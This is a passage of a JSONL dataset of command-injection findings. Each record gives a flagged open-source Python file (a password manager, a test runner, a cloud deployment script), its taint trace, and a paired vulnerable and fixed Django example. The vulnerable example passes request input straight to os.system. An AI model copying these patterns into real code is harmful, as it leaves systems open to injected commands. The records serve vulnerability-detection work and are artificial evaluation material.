training[\"nloop\"]-2:\n add = \" --lstm \"\n\n\n percent_training = \" \".join(training[\"training_key\"])\n if type(training[\"validation_key\"]) == float:\n percent_val = True\n percent_validation = training[\"validation_key\"]\n else:\n percent_val = False\n percent_validation= \" \".join(training[\"validation_key\"])\n mods = ast.literal_eval(dataset[\"mods\"][0])\n mods = ' '.join(mods)\n\n if training.get(\"transition_matrix\",\"\") != \"\":\n add += f\" --transition_matrix {training['transition_matrix']}\"\n\n if not os.path.exists(model_folder) or (args.restart and i==training[\"nloop\"]-1):\n if \"max_len\" in training:\n m = training[\"max_len\"]\n add += f\" --max_len {m} \"\n if i >= training[\"nloop\"]-1 and args.error:\n add += \" --error\"\n if args.restart:\n add += f\"--weights {model_folder}/weights.hdf5\"\n if not percent_val:\n add += f\" --percents_validation {percent_validation} \"\n else:\n add += f\" --validation {percent_validation} \"\n cmd = f\"python src/repnano/models/train_simple.py --root_data {input_folder} --root_save {model_folder} --percents_training {percent_training} --mods {mods}\" + add\n #cmd = f\"python src/repnano/models/train_simple.py --root_data {input_folder} --root_save {model_folder} --percents_training 0 --percents_validation 0 --error\"\n print(cmd)\n if args.do:\n subprocess.run(cmd, shell=True, check=True)\n \"\"\"\n try:\n cmd = f\"python3 preprocess_dataset.py --type dv --model {model_folder}/weights.hdf5 --output_dv {output_folder} --root_d /scratch/jarbona/data_Repnano/ --root_p data/preprocessed/ --ref /scratch/jarbona/repnanoV10/data/S288C_reference_sequence_R64-2-1_20150113.fa\"\n print(cmd)\n subprocess.run(cmd, shell=True, check=True)\n except:\n \"\"\"\n if not os.path.exists(output_folder):\n add=\"\"\n if \"max_len\" in training:\n m = training[\"max_len\"]\n add += f\" --max_len {m}\"\n if training.get(\"transition_matrix\", \"\") != \"\":\n add += f\" --transition_matrix {training['transition_matrix']}\"\n cmd = f\"python3 misc/preprocess_dataset.py --minimum_percent_highsample {training.get('minimum_percent_highsample',0.5)} --type dv --model {model_folder}/weights.hdf5 --out {output_folder} --dataset {args.dataset} \" + add\n print(cmd)\n if args.do:\n subprocess.run(cmd, shell=True, check=True)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 80, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "80"}}, {"lineNo": 81, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "2574f25e6242293d7c6f508c77f50f5b85651efb8567faf01eb8d7e06b378a3a", "license": {"spdx": ["WTFPL"], "repo": "No-SF-Work/ayame", "path": "scripts/pi_scripts/runner.py", "repo_head_hexsha": "6fb79b9897e75fdcf2a81083d462224226a0e4fa", "stack_hexsha": "643efcc62ffee5b784b925d11c6e4e3f66d82564", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 46, "entireCode": "import os\nimport subprocess\nfrom pretty_print import Print_C\n\nclass Runner:\n run_kases = 3\n\n def __init__(self, scheme, testcases):\n self.scheme = scheme\n self.testcases = testcases\n\n self.bin_file_template = f\"build/test_results/{{testcase}}/bin/{scheme}\"\n self.myout_template = f\"build/output/{{testcase}}/{scheme}.out\"\n self.runner_log = f\"build/log/run_log/{{testcase}}/{scheme}_{{kase}}.out\"\n\n for testcase in testcases:\n self.__generate_path(testcase)\n\n\n def __generate_path(self, testcase):\n myout_path = f\"build/output/{testcase}/\"\n runner_log_path = f\"build/log/run_log/{testcase}/\"\n\n if not os.path.exists(myout_path):\n os.makedirs(myout_path)\n\n if not os.path.exists(runner_log_path):\n os.makedirs(runner_log_path)\n\n\n def run_single_test(self, testcase, kase):\n bin = self.bin_file_template.format(testcase=testcase)\n stdin = f\"testcases/{testcase}.in\"\n myout = self.myout_template.format(testcase=testcase)\n log = self.runner_log.format(testcase=testcase, kase=kase)\n\n myout_file = open(myout, \"a+\")\n log_file = open(log, \"a+\")\n null_file = open(os.devnull, \"w\")\n\n Print_C.print_procedure(f\"Running {self.scheme}_{testcase} [kase: {kase}]\")\n\n if os.path.exists(stdin):\n stdin_file = open(stdin, \"r\")\n if kase == 0:\n p = subprocess.run(f\"{bin}\".split(), stdin=stdin_file, stdout=myout_file, stderr=log_file, bufsize=1)\n subprocess.run(f\"echo\".split(), stdout=myout_file, bufsize=1)\n subprocess.run(f\"echo {p.returncode}\".split(), stdout=myout_file, bufsize=1)\n else:\n p = subprocess.run(f\"{bin}\".split(), stdin=stdin_file, stdout=null_file, stderr=log_file, bufsize=1)\n stdin_file.close()\n else:\n if kase == 0:\n p = subprocess.run(f\"{bin}\".split(), stdout=myout_file, stderr=log_file, bufsize=1)\n subprocess.run(f\"echo\".split(), stdout=myout_file, bufsize=1)\n subprocess.run(f\"echo {p.returncode}\".split(), stdout=myout_file, bufsize=1)\n else:\n p = subprocess.run(f\"{bin}\".split(), stdout=null_file, stderr=log_file, bufsize=1)\n\n myout_file.close()\n log_file.close()\n\n\n def run_all_tests(self):\n for kase in range(Runner.run_kases):\n Print_C.print_subheader(f\"[Running KASE {kase}]\")\n for testcase in self.testcases:\n self.run_single_test(testcase=testcase, kase=kase)\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 44, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "45"}}, {"lineNo": 46, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "604c6786b2c271ef1aa22d7a7cb67fa76d377cdccc7467694bfbe596acb0a648", "license": {"spdx": ["MIT"], "repo": "IvaldiS6/PassPYWin", "path": "PassPY0.2Win.py", "repo_head_hexsha": "25ffc73392166fd85a8590866c5b65fd0aece72c", "stack_hexsha": "1b850dbfb0c60c1aeafce298fa429a15013488c3", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 245, "entireCode": "import codecs\nimport os\nimport os.path\nimport string\nimport random\nfrom random import shuffle\nimport csv\nimport time\nimport hashlib\nimport struct\nimport binascii\nfrom cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n\nDefaultSize = \"mode con: cols=100 lines=20\"\nos.system(DefaultSize)\n\npre = \"C:\\ProgramData\\PassPY\"\nif not os.path.exists(pre):\n os.makedirs(pre)\n\naccount = \"\"\ncypher = \"\"\nusername = \"\"\nuser_name = \"\"\nm = \"\"\n\ndef clrscr():\n # Check if Operating System is Mac and Linux or Windows\n if os.name == 'posix':\n _ = os.system('clear')\n else:\n # Else Operating System is Windows (os.name = nt)\n _ = os.system('cls')\n\ndef logo():\n print(\"________ __________ __\\n___ __ \\_____ _________________ __ \\ \\/ /\\n__ /_/ / __ `/_ ___/_ ___/_ /_/ /_ / \\n_ ____// /_/ /_(__ )_(__ )_ ____/_ / \\n/_/ \\__,_/ /____/ /____/ /_/ /_/ \\n\\n\\n\\n\\n\")\n\ndef header():\n clrscr()\n os.system(DefaultSize)\n logo()\n\ndef PassGen(user_name,acc,uN,pre):\n header()\n x = ''\n x = input(\"1: Have PassPY generate a password with a length you choose for \" + acc + \"\\n2: Type your own password for \" + acc + \"\\n\")\n if x == '1':\n header()\n length = float(input(\"How many characters would you like the password to be for \" + acc + \"? \\n\"))\n div = int(length/3)\n r = int(length%3)\n seed = string.ascii_letters # Generating letters\n letters = ( ''. join(random.choice(seed) for i in range(div)) )\n\n seed = string.digits # generating digits\n numbers = ( ''.join(random.choice(seed) for i in range(div)) )\n\n seed = string.punctuation # generating punctuation\n punctuation = ( ''.join(random.choice(seed) for i in range(div + r)) )\n\n hold = letters + numbers + punctuation\n pW = ( ''.join(random.sample(hold, len(hold))))\n print(\"here is the generated password: \" + pW)\n preKey = acc + uN + pW\n lineHash = hashlib.sha256(preKey.encode('utf-8'))\n \n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n\n lineHashHexidecimal = lineHash.hexdigest() \n\n smosh = hashlib.sha256(bytes(half + lineHashHexidecimal, 'utf8'))\n \n key = smosh.digest()\n\n iv = bytes(int(len(key)/2))\n\n acc = bytes(acc, 'utf8')\n uN = bytes(uN, 'utf8')\n pW = bytes(pW, 'utf8')\n\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n\n encryptor = cipher.encryptor()\n uN = encryptor.update(uN) + encryptor.finalize()\n uN = bytes.hex(uN)\n\n encryptor = cipher.encryptor()\n acc = encryptor.update(acc) + encryptor.finalize()\n acc = bytes.hex(acc)\n\n encryptor = cipher.encryptor()\n pW = encryptor.update(pW) + encryptor.finalize()\n pW = bytes.hex(pW)\n\n lineEncrypted = bytes(acc + uN + pW, 'utf8')\n\n lineChecksum = hashlib.sha256(lineEncrypted).hexdigest()\n newline = acc + \"\\t\" + uN + \"\\t\" + pW + \"\\t\" + str(lineHashHexidecimal) + \"\\t\" + str(lineChecksum) + \"\\n\"\n post = user_name + \"50\" + \".passpy\"\n location = os.path.join(pre, post)\n with open(location, \"a\", newline=\"\\n\") as filea:\n filea.write(newline + \"\\n\")\n\n input(\"press Enter once the password is memorized (dont worry if you forget, it was saved in your password directory.)\\n\")\n MainMenu(user_name)\n elif x == '2':\n header()\n pW = input(\"Type the password for \" + acc + \", then press Enter: \\n\")\n preKey = acc + uN + pW\n lineHash = hashlib.sha256(preKey.encode('utf-8'))\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n\n lineHashHexidecimal = lineHash.hexdigest() \n\n smosh = hashlib.sha256(bytes(half + lineHashHexidecimal, 'utf8'))\n \n key = smosh.digest()\n\n iv = bytes(int(len(key)/2))\n\n acc = bytes(acc, 'utf8')\n uN = bytes(uN, 'utf8')\n pW = bytes(pW, 'utf8')\n\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n \n smosh = ''\n key = ''\n iv = ''\n \n encryptor = cipher.encryptor()\n uN = encryptor.update(uN) + encryptor.finalize()\n uN = bytes.hex(uN)\n\n encryptor = cipher.encryptor()\n acc = encryptor.update(acc) + encryptor.finalize()\n acc = bytes.hex(acc)\n\n encryptor = cipher.encryptor()\n pW = encryptor.update(pW) + encryptor.finalize()\n pW = bytes.hex(pW)\n\n lineEncrypted = bytes(acc + uN + pW, 'utf8')\n\n lineChecksum = hashlib.sha256(lineEncrypted).hexdigest()\n newline = acc + \"\\t\" + uN + \"\\t\" + pW + \"\\t\" + str(lineHashHexidecimal) + \"\\t\" + str(lineChecksum) + \"\\n\"\n post = user_name + \"50\" + \".passpy\"\n location = os.path.join(pre, post)\n with open(location, \"a\", newline=\"\\n\") as filea:\n filea.write(newline)\n MainMenu(user_name)\n else:\n PassGen(user_name,acc,uN,pre)\n\ndef Signin(pre):\n header()\n user_name = input(\"Enter Username: \").encode(\"utf-8\").hex()\n if user_name == \"\":\n input(\"Press enter to returnt to the Sign In screen and enter a user name\\n\")\n Signin(pre)\n nametest2 = user_name + \"4c\" + \".passpy\"\n location = os.path.join(pre, nametest2)\n try: #check to see if the account exists\n usersearch = open(location,\"r\") #search for user's password file\n lst = list(usersearch.readlines())\n confirm = lst[-1]\n print(\"Hello \" + str(codecs.decode(user_name, \"hex\"), \"utf-8\"))\n password = input(\"Enter Password: \").encode(\"utf-8\").hex()\n s(user_name,password)\n compare = line\n if compare == confirm:\n print(\"Access Granted\")\n MainMenu(user_name)\n else:\n print(\"Access Denied\")\n Signin(pre)\n except FileNotFoundError:\n header()\n print(\"Username not found!\")\n input(\"please press enter to continue\")\n Login(pre)\n\ndef AddEntry(user_name,pre):\n header()\n acc = input(\"what account is this password for? (e.g. GitHub)\\n\")\n uN = input(\"What is the username for \" + acc + \"?\\n\")\n PassGen(user_name,acc,uN,pre)\n\n print(\"Done!\")\n\ndef PasswordSearch(user_name,pre):\n c = \"\"\n header()\n post = user_name + \"50\" + \".passpy\"\n location = os.path.join(pre, post)\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n SearchColumn = input(\"Password Search Menu:\\nPress 1 to show all passwords\\nPress 2 to search by account\\nAll of the following options will NOT work!\\nPress 3 to search by username\\nPress 4 to search by password\\nPress 5 to return to the Main Menu\\n \")\n try: #make sure there is a password file to search through\n with open(location) as csv_file:\n csv_reader = csv.reader(csv_file, delimiter=\"\\t\")\n next(csv_reader)\n if SearchColumn == '1': \n header()\n print(\"Here are all of the stored passwords: \")\n for row in csv_reader: # !!!START HERE!!! Decrypt single item line by line\n smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n key = smosh.digest()\n iv = bytes(int(len(key)/2))\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n decryptor = cipher.decryptor()\n bEntry = bytes.fromhex(str(row[2]).lower())\n bct = str(decryptor.update(bEntry), \"utf8\")\n print(bct)\n input(\"Press Enter to continue to the Main Menu\")\n MainMenu(user_name)\n elif SearchColumn == '2':\n header()\n search = bytes(input(\"What Account are you looking for? \\n\"), 'utf8')\n for row in csv_reader:\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n key = smosh.digest()\n iv = bytes(int(len(key)/2))\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n decryptor = cipher.decryptor()\n encryptor = cipher.encryptor()\n sup = encryptor.update(search) + encryptor.finalize()\n sable = bytes.hex(sup)\n if sable == row[0]:\n decryptor = cipher.decryptor()\n a = bytes.fromhex(str(row[0]).lower())\n a = str(decryptor.update(a), \"utf8\")\n decryptor = cipher.decryptor()\n u = bytes.fromhex(str(row[1]).lower())\n u = str(decryptor.update(u), \"utf8\")\n decryptor = cipher.decryptor()\n p = bytes.fromhex(str(row[2]).lower())\n p = str(decryptor.update(p), \"utf8\")\n header()\n c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you want to continue searching\\n\")\n if c == '1':\n target = p\n header()\n print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n Clipboard(target)\n MainMenu(user_name)\n elif c == '2':\n print(\"Password NOT copied, continuing to search\")\n time.sleep(2)\n continue\n else:\n print(\"Returning to the Main Menu\")\n time.sleep(1)\n MainMenu(user_name)\n MainMenu(user_name)\n elif SearchColumn == '3':\n header()\n search = bytes(input(\"What Username are you looking for? \\n\"), 'utf8')\n for row in csv_reader:\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n key = smosh.digest()\n iv = bytes(int(len(key)/2))\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n decryptor = cipher.decryptor()\n encryptor = cipher.encryptor()\n sup = encryptor.update(search) + encryptor.finalize()\n sable = bytes.hex(sup)\n if sable == row[1]:\n decryptor = cipher.decryptor()\n a = bytes.fromhex(str(row[0]).lower())\n a = str(decryptor.update(a), \"utf8\")\n decryptor = cipher.decryptor()\n u = bytes.fromhex(str(row[1]).lower())\n u = str(decryptor.update(u), \"utf8\")\n decryptor = cipher.decryptor()\n p = bytes.fromhex(str(row[2]).lower())\n p = str(decryptor.update(p), \"utf8\")\n header()\n c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you do not\\n\")\n if c == '1':\n target = p\n header()\n print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n Clipboard(target)\n MainMenu(user_name)\n elif c == '2':\n input(\"Password NOT copied, Press enter to return to continue searching\")\n continue\n else:\n input(\"Password NOT copied, Press enter to return to the Main Menu\")\n MainMenu(user_name)\n continue\n MainMenu(user_name)\n elif SearchColumn == '4':\n header()\n search = bytes(input(\"What password are you looking for? \\n\"), 'utf8')\n for row in csv_reader:\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n smosh = hashlib.sha256(bytes(half + str(row[3]), 'utf8'))\n key = smosh.digest()\n iv = bytes(int(len(key)/2))\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n decryptor = cipher.decryptor()\n encryptor = cipher.encryptor()\n sup = encryptor.update(search) + encryptor.finalize()\n sable = bytes.hex(sup)\n if sable == row[2]:\n decryptor = cipher.decryptor()\n a = bytes.fromhex(str(row[0]).lower())\n a = str(decryptor.update(a), \"utf8\")\n decryptor = cipher.decryptor()\n u = bytes.fromhex(str(row[1]).lower())\n u = str(decryptor.update(u), \"utf8\")\n decryptor = cipher.decryptor()\n p = bytes.fromhex(str(row[2]).lower())\n p = str(decryptor.update(p), \"utf8\")\n header()\n c = input(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\\nEnter 1 if you want to copy the password to the clipboard\\nEnter 2 if you do not\\n\")\n if c == '1':\n target = p\n header()\n print(\"The Account, Username and Password information for \" + a + \" are:\\n\\nAccount------\" + a + \"\\nUser Name----\" + u + \"\\nPassword-----\" + p + \"\\n\")\n Clipboard(target)\n MainMenu(user_name)\n elif c == '2':\n input(\"Password NOT copied, Press enter to return to continue\")\n continue\n else:\n input(\"Password NOT copied, Press enter to return to the Main Menu\")\n MainMenu(user_name)\n continue\n MainMenu(user_name)\n elif SearchColumn == '5':\n MainMenu(user_name)\n else:\n m = input(\"enter 1, 2, 3 or 4:\\n\")\n PasswordSearch(user_name,pre)\n MainMenu(user_name)\n except FileNotFoundError:\n header()\n print(\"Please register some passwords for me to search through.\")\n input(\"please press enter to continue\")\n MainMenu(user_name)\n\ndef Clipboard(target):\n command = 'echo ' + target.strip() + '| clip'\n os.system(command)\n time.sleep(1)\n print(\"The clipboard will be cleared in 5 seconds\")\n time.sleep(1)\n print(\"The clipboard will be cleared in 4 seconds\")\n time.sleep(1)\n print(\"The clipboard will be cleared in 3 seconds\")\n time.sleep(1)\n print(\"The clipboard will be cleared in 2 seconds\")\n time.sleep(1)\n print(\"The clipboard will be cleared in 1 seconds\")\n time.sleep(1)\n print(\"The clipboard will be cleared now\")\n os.system(\"echo.| clip\")\n\ndef MainMenu(user_name):\n header()\n print(\"Menu:\\n 1: New password - register new password\\n 2: List - show passwords\\n 3: Exit\")\n menu = input(\"Enter a number:\\n\")\n if menu == '1':\n AddEntry(user_name,pre)\n elif menu == '2':\n PasswordSearch(user_name,pre)\n elif menu == '3':\n clrscr()\n exit()\n elif menu == '':\n MainMenu(user_name)\n else:\n MainMenu(user_name)\n\ndef s(user_name,password):\n uhold = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n phold = hashlib.sha256(password.encode('utf-8')).hexdigest()\n for i in uhold:\n if i.isdigit():\n ucount = i\n break\n for i in phold:\n if i.isdigit():\n pcount = i\n break\n if int(pcount) % 2 == 0:\n global line\n line = uhold * int(pcount) + phold * int(ucount)\n else:\n line = phold * int(pcount) + uhold * int(pcount) \n line = hashlib.sha256(line.encode('utf-8')).hexdigest()\n\ndef Register(pre):\n header()\n user_name = input(\"Enter Username: \").encode(\"utf-8\").hex()\n if user_name == \"\":\n input(\"Press enter to return to the Sign In screen and enter a user name\\n\")\n Register(pre)\n nametest1 = user_name + \"4c\" + \".passpy\"\n location = os.path.join(pre, nametest1)\n try:\n usersearch = open(location) #search for user's password file\n usersearch.close()\n header()\n print(\"User name not available\")\n input(\"Press Enter to try again: \")\n Register(pre)\n except FileNotFoundError:\n header()\n print(\"User name is available\")\n with open(location,\"a\") as create: #create user's password file\n password = input(\"enter desired password:\\n\").encode(\"utf-8\").hex()\n while password == \"\":\n header()\n password = input(\"An empty password is not useful\\nPlease enter desired password:\\n\")\n s(user_name,password)\n create.write(line)\n second = user_name + \"50\" + \".passpy\"\n location = os.path.join(pre, second)\n with open(location, \"a\", newline=\"\\n\") as create:\n first = \"count\"\n b = \"0\"\n third = \"empty\"\n hold = first + b + third\n fourth = hashlib.sha256(bytes(hold, 'utf8')).hexdigest()\n half = hashlib.sha256(user_name.encode('utf-8')).hexdigest()\n smosh = hashlib.sha256(bytes(half + hold, 'utf8'))\n key = smosh.digest()\n iv = bytes(int(len(key)/2))\n cipher = Cipher(algorithms.AES(key), modes.CTR(iv))\n encryptor = cipher.encryptor()\n first = bytes(first, 'utf8')\n first = bytes.hex(encryptor.update(first) + encryptor.finalize())\n encryptor = cipher.encryptor()\n b = bytes(b, 'utf8')\n b = bytes.hex(encryptor.update(b) + encryptor.finalize())\n encryptor = cipher.encryptor()\n third = bytes(third, 'utf8')\n third = bytes.hex(encryptor.update(third) + encryptor.finalize())\n hold = bytes(first + b + third, \"utf8\")\n fifth = hashlib.sha256(hold).hexdigest()\n firstLine = first + \"\\t\" + b + \"\\t\" + third + \"\\t\" + fourth + \"\\t\" + fifth + \"\\n\"\n create.write(firstLine)\n header()\n input(\"Done! \\nNew account created!\\nWelcome!\")\n MainMenu(user_name)\n\ndef Login(pre):\n header()\n print(\"Welcome!\\n 1: New users - register your account\\n 2: Existing users - log in\\n 3: Exit - close the application.\")\n login = input(\"Enter a number:\\n\")\n if login == '1':\n Register(pre)\n elif login == '2':\n Signin(pre)\n elif login == '3':\n clrscr()\n exit()\n else:\n Login(pre)\n\n# Startup Phase\nheader()\nprint(\"Welcome to PassPY, the python based, opensource password storage\\nIf you like PassPY, share it with a friend github.com/kayakers6/passpy\\nIf you love PassPY, BTC: bc1qsqc3v2jt3lh0kq9addf4gu6e2uq5vxxfk35pl\\n SNX: 0x05E8813B7dc3c4e039D898CB13f21A6E4d675bc1\")\nstart = input(\"Press ENTER to start\")\nLogin(pre)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 229, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "229"}}, {"lineNo": 238, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 241, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "241"}}, {"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.value.passed.to", "params": {"arg0": "Clipboard"}}, {"lineNo": 245, "eventType": "source", "messageKey": "synz.COMMON.called", "params": {"arg0": "Clipboard"}}, {"lineNo": 245, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "7ee385ca4679d1f795c07d19e817cee1c628dd338268ab65933db40906c9d39f", "license": {"spdx": ["Apache-2.0"], "repo": "roolrd/incubator-datalab", "path": "infrastructure-provisioning/scripts/post-deployment_configuration.py", "repo_head_hexsha": "2045207ecd1b381193f1a1ec143cc968716ad989", "stack_hexsha": "65aad0dcad6b978d7933961de7d32128e38494f9", "match": "repo_path"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 54, "entireCode": "#!/usr/bin/python3\n\n# *****************************************************************************\n#\n# Licensed to the Apache Software Foundation (ASF) under one\n# or more contributor license agreements. See the NOTICE file\n# distributed with this work for additional information\n# regarding copyright ownership. The ASF licenses this file\n# to you under the Apache License, Version 2.0 (the\n# \"License\"); you may not use this file except in compliance\n# with the License. You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing,\n# software distributed under the License is distributed on an\n# \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY\n# KIND, either express or implied. See the License for the\n# specific language governing permissions and limitations\n# under the License.\n#\n# ******************************************************************************\n\nimport argparse\nimport requests\nimport uuid\nfrom Crypto.PublicKey import RSA\nfrom fabric import *\nimport subprocess\n\nif __name__ == \"__main__\":\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--keycloak_realm_name', type=str, default='KEYCLOAK_REALM_NAME', help='Keycloak Realm name')\n parser.add_argument('--keycloak_auth_server_url', type=str, default='KEYCLOAK_AUTH_SERVER_URL', help='Keycloak auth server URL')\n parser.add_argument('--keycloak_client_name', type=str, default='KEYCLOAK_CLIENT_NAME', help='Keycloak client name')\n parser.add_argument('--keycloak_client_secret', type=str, default='KEYCLOAK_CLIENT_SECRET', help='Keycloak client secret')\n parser.add_argument('--keycloak_user', type=str, default='KEYCLOAK_USER', help='Keycloak user')\n parser.add_argument('--keycloak_admin_password', type=str, default='',\n help='Keycloak admin password')\n args = parser.parse_args()\n headers = {\n 'Metadata-Flavor': 'Google',\n }\n\n print(\"Getting cloud and instance parameters\")\n server_external_ip = requests.get(\n 'http://metadata/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip',\n headers=headers).text\n datalab_sbn = requests.get('http://metadata/computeMetadata/v1/instance/name', headers=headers).text\n datalab_ssn_static_ip_name = datalab_sbn + '-ip'\n datalab_zone = requests.get('http://metadata/computeMetadata/v1/instance/zone', headers=headers).text.split('/')[-1]\n datalab_region = '-'.join(datalab_zone.split('-', 2)[:2])\n deployment_vpcId = subprocess.run(\n \"sudo gcloud compute instances describe {0} --zone {1} --format 'value(networkInterfaces.network)' | sed 's|.*/||'\".format(\n datalab_sbn, datalab_zone), capture_output=True, shell=True, check=True).stdout.decode('UTF-8').rstrip(\"\\n\\r\")\n deployment_subnetId = subprocess.run(\n \"sudo gcloud compute instances describe {0} --zone {1} --format 'value(networkInterfaces.subnetwork)' | 